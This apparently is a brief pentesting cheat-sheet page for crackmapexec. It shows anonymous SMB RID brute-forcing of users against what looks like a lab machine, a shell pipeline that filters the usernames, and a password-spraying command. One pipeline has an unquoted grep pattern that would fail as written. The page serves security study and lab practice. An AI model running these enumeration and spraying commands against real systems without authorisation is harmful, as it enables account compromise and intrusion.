Skip to main content

crackmapexec

Tool for network pentesting

Brute-force Sambda users​

Will try to determine the users of a system by trying with different `rid``

crackmapexec smb 10.10.11.236 -u anonymous -p "" --rid-brute 10000 > u.txt

Now we can delete useless users:

cat u.txt |grep -i user |rev |cut -f2 -d ' ' |rev |grep FLUFFY |cut -f2 -d '\' |grep -Ev (DC|SVC) |tail -n +4 > users.txt

Password spraying​

It will try to combine the values in the provided files to see if it returns a valid login attempt

crackmapexec smb 10.10.11.236 -u exfil/users -p exfil/users